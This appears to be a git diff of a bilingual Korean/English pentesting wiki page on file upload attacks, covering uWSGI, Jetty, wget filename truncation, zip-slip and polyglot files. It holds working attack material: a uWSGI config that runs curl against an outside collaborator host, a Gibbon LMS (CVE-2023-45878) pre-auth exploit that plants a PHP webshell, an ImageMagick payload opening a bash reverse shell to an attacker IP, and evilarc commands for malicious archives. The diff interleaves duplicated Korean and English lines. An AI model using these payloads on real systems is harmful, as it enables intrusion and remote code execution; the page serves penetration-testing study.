`.inc` 확장자는 때때로 파일을 포함(import)하는 용도의 php 파일에 사용됩니다. 따라서 어떤 경우에는 누군가가 이 **확장자가 실행되도록 허용했을 수 있습니다**.
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -135,7 +136,7 @@ If you can upload a XML file into a Jetty server you can obtain [RCE because **n
|
||||
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
uWSGI 서버에서는 `.ini` 구성 파일을 수정할 수 있는 경우 Remote Command Execution (RCE) 취약점을 악용할 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 '@' 연산자(예: `@(filename)`)는 파일의 내용을 포함하도록 설계되어 있습니다. uWSGI에서 지원하는 여러 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력(stdout)으로부터 데이터를 읽을 수 있게 합니다. 이 기능은 `.ini` 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read와 같은 악의적 목적으로 조작될 수 있습니다.
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
@ -155,14 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
페이로드의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로 크래시 후 또는 Denial of Service attack 때문에) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화된 경우, 변경을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
|
||||
페이로드의 실행은 설정 파일을 파싱하는 과정에서 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스가 재시작되어야 하며(예: 충돌 이후 또는 Denial of Service attack으로 인해) 또는 해당 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화된 경우 변경을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
|
||||
|
||||
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 특히, 여기서 논의된 payload는 이미지나 PDF 같은 바이너리 파일 안에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
|
||||
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 여기서 논의한 payload는 바이너리 파일(예: 이미지나 PDF)에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힐 수 있습니다.
|
||||
|
||||
## **wget 파일 업로드/SSRF 기법**
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
어떤 경우 서버가 **`wget`**을 사용해 **파일을 다운로드**하도록 하고 사용자가 **URL**을 **지정**할 수 있게 되어 있는 경우를 발견할 수 있습니다. 이러한 경우 코드에서 다운로드되는 파일의 확장자가 허용된 목록(whitelist)에 있는지 확인해 허용된 파일만 다운로드되도록 할 수 있습니다. 하지만, **이 검사는 우회될 수 있습니다.**\
|
||||
**linux**에서 파일 이름의 **최대** 길이는 **255**이지만, **`wget`**은 파일명을 **236**자로 잘라냅니다. 예를 들어 **"A"\*232+".php"+".gif"**이라는 파일을 **다운로드**하면, 이 파일명은 **검사**를 **우회**할 수 있습니다(위 예에서 **".gif"**가 **유효한** 확장자이기 때문)지만 `wget`은 파일명을 **"A"\*232+".php"**로 **이름을 변경**합니다.
|
||||
Gibbon LMS의 인증되지 않은 endpoint가 web root 내부에 arbitrary file write를 허용하여 PHP 파일을 떨어뜨림으로써 pre-auth RCE로 이어집니다. 취약한 버전: 25.0.01까지(포함).
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (서버는 type/name을 무시하고 꼬리 부분을 base64로 디코딩함)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
Minimal PoC to write and read back a file:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
# => MHhkZiB3YXMgaGVyZSEK
|
||||
|
||||
# Write poc.php via unauth POST
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
최소한의 webshell을 업로드하여 명령을 실행:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notes:
|
||||
- 핸들러는 `;` 및 `,`로 분할한 후 `base64_decode($_POST["img"])`를 수행하고, 그 다음 확장자/타입을 검증하지 않은 채 바이트를 `$absolutePath . '/' . $_POST['path']`에 작성합니다.
|
||||
- 결과 코드는 웹 서비스 사용자로 실행됩니다 (e.g., XAMPP Apache on Windows).
|
||||
|
||||
References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.
|
||||
|
||||
## **wget 파일 업로드/SSRF 트릭**
|
||||
|
||||
때때로 서버가 **`wget`**을 사용하여 파일을 **다운로드**하며 사용자가 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드가 다운로드된 파일의 확장자가 허용된 파일만 다운로드되도록 화이트리스트에 있는지 확인할 수 있습니다. 그러나, **이 체크는 우회될 수 있습니다.**\
|
||||
**linux**에서 **filename**의 최대 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라버립니다. You can **download a file called "A"*232+".php"+".gif"**, 이 파일명은 **체크를 우회**합니다(예시에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일명을 **"A"*232+".php"**로 **이름을 변경**합니다.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -187,7 +228,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
```
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
## 도구
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
@ -195,7 +236,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
|
||||
## File upload에서 다른 취약점으로
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
@ -254,16 +295,16 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 다른 폴더로 압축 해제
|
||||
|
||||
압축 해제 중 디렉터리에 파일이 예기치 않게 생성되는 것은 심각한 문제입니다. 이러한 설정이 악성 파일 업로드를 통한 OS-level command execution을 방지할 수 있다고 초기에는 가정할 수 있지만, ZIP archive format의 계층적 압축 지원과 directory traversal 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제약을 우회하고 안전한 업로드 디렉터리에서 탈출할 수 있습니다.
|
||||
압축 해제 중 디렉터리에 예기치 않게 파일이 생성되는 것은 심각한 문제입니다. 처음에는 이 설정이 악성 파일 업로드를 통한 OS-level command execution을 방지한다고 생각할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 directory traversal 기능을 악용할 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작해 보안 업로드 디렉터리에서 빠져나갈 수 있습니다.
|
||||
|
||||
이러한 파일을 제작하기 위한 자동화된 exploit는 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용됩니다:
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
또한, **symlink trick with evilarc** 도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 해당 파일로 향하는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동하는 동안 오류가 발생하지 않습니다.
|
||||
또한, **symlink trick with evilarc**도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 노리는 것이라면 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 동작 중에 오류를 만나지 않습니다.
|
||||
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
|
||||
```python
|
||||
@ -271,6 +312,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
import zipfile
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def create_zip():
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
@ -285,7 +327,7 @@ create_zip()
|
||||
```
|
||||
**Abusing compression for file spraying**
|
||||
|
||||
자세한 내용은 **원문 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
자세한 내용은 **원본 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수로 전달된 명령을 실행하도록 작성됩니다.
|
||||
|
||||
@ -304,50 +346,50 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: zip 내부의 파일 이름을 vi 또는 hex editor로 변경하여 'xxA'를 '../'로 바꿔 디렉터리를 횡단합니다.
|
||||
3. **Modification with a Hex Editor or vi**: zip 내부의 파일 이름을 vi 또는 hex editor를 사용해 변경하여 "xxA"를 "../"로 바꿔 디렉터리 트래버설을 수행합니다.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:%s/xxA/../g
|
||||
:x!
|
||||
```
|
||||
|
||||
## ImageTragic
|
||||
|
||||
이 내용을 이미지 확장자로 업로드하면 취약점 **(ImageMagick , 7.0.1-1)** 을 악용할 수 있습니다 (form the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
이 내용을 이미지 확장자로 업로드하면 취약점 **(ImageMagick , 7.0.1-1)** 을 악용할 수 있습니다 (자세한 내용은 [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## PNG에 PHP Shell 삽입
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
PNG 파일의 IDAT chunk에 PHP shell을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized`와 `imagecopyresampled` 함수는 각각 이미지 크기 조정(resizing)과 리샘플링(resampling)에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 이러한 작업에도 불구하고 삽입된 PHP shell이 영향을 받지 않는 특성은 특정 사용 사례에서 큰 이점입니다.
|
||||
PNG 파일의 IDAT 청크에 PHP shell을 임베드하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized` 및 `imagecopyresampled` 함수는 각각 이미지 크기 조정과 재샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련성이 높습니다. 임베디드된 PHP shell이 이러한 처리로부터 영향을 받지 않고 남아 있을 수 있다는 점은 일부 사용 사례에서 중요한 이점입니다.
|
||||
|
||||
이 기법의 방법론 및 잠재적 적용 사례를 포함한 자세한 설명은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/).
|
||||
이 기법의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 해당 절차와 그 의미를 포괄적으로 설명합니다.
|
||||
|
||||
자세한 정보: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot 파일
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot 파일은 사이버보안에서 고유한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 동시에 동작하는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에만 국한되지 않으며 GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
|
||||
Polyglot files는 사이버 보안에서 독특한 도구로, 여러 파일 포맷을 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 동작하는 하이브리드입니다. 이런 파일들은 이 조합에만 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
|
||||
|
||||
Polyglot 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 회피할 수 있다는 점에 있습니다. 다양한 애플리케이션에서는 잠재적으로 해로운 포맷(예: JS, PHP, Phar 파일)으로 인한 위험을 줄이기 위해 JPEG, GIF 또는 DOC 같은 특정 파일 유형만 업로드를 허용하는 것이 일반적입니다. 그러나 polyglot은 여러 파일 유형의 구조적 조건을 동시에 충족함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
|
||||
Polyglot files의 핵심 효용은 파일을 타입 기반으로 검사하는 보안 조치를 우회할 수 있다는 점에 있습니다. 다양한 애플리케이션에서는 보안상 업로드 가능한 파일 유형을 JPEG, GIF, DOC 등으로 제한하여 JS, PHP, Phar 같은 잠재적으로 위험한 포맷의 위험을 줄이는 것이 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 요건을 동시에 만족함으로써 이러한 제한을 은밀히 통과할 수 있습니다.
|
||||
|
||||
적응성에도 불구하고 polyglot에는 한계가 있습니다. 예를 들어, polyglot이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함하더라도 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면 polyglot의 단순한 구조적 이중성만으로는 업로드 보장이 되지 않을 수 있습니다.
|
||||
그럼에도 불구하고 polyglot에는 한계가 존재합니다. 예를 들어 polyglot이 PHAR 파일(PHp ARchive)과 JPEG을 동시에 포함하고 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 좌우될 수 있습니다. 시스템이 허용 확장자에 대해 엄격하다면 단순한 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
|
||||
|
||||
자세한 정보: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### PDF인 것처럼 유효한 JSON 업로드
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
허용되지 않은 경우에도 PDF로 위장하여 유효한 JSON 파일을 업로드해 파일 타입 탐지를 회피하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: 처음 1024바이트 안에 `%PDF` 매직 바이트가 있으면 유효합니다 (예제는 포스트 참조)
|
||||
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 추가하여 라이브러리가 이를 PDF로 인식하게 합니다 (예제는 포스트 참조)
|
||||
- **`file` binary**: file 바이너리는 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 따라서 JSON을 그보다 크게 만들어 내용이 json으로 파싱되지 않도록 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 file이 이를 PDF로 인식합니다
|
||||
- **`mmmagic` library**: `%PDF` 매직 바이트가 처음 1024바이트 내에 있으면 유효하다고 판단됩니다 (예시는 포스트 참조)
|
||||
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 넣어 라이브러리가 이를 PDF로 인식하게 합니다 (예시는 포스트 참조)
|
||||
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. JSON을 그보다 크게 만들어 `file`이 내용을 JSON으로 파싱하지 못하게 한 다음, JSON 내부에 실제 PDF의 초기 부분을 넣으면 `file`은 이를 PDF로 인식합니다
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -356,6 +398,9 @@ Polyglot 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
|
Loading…
x
Reference in New Issue
Block a user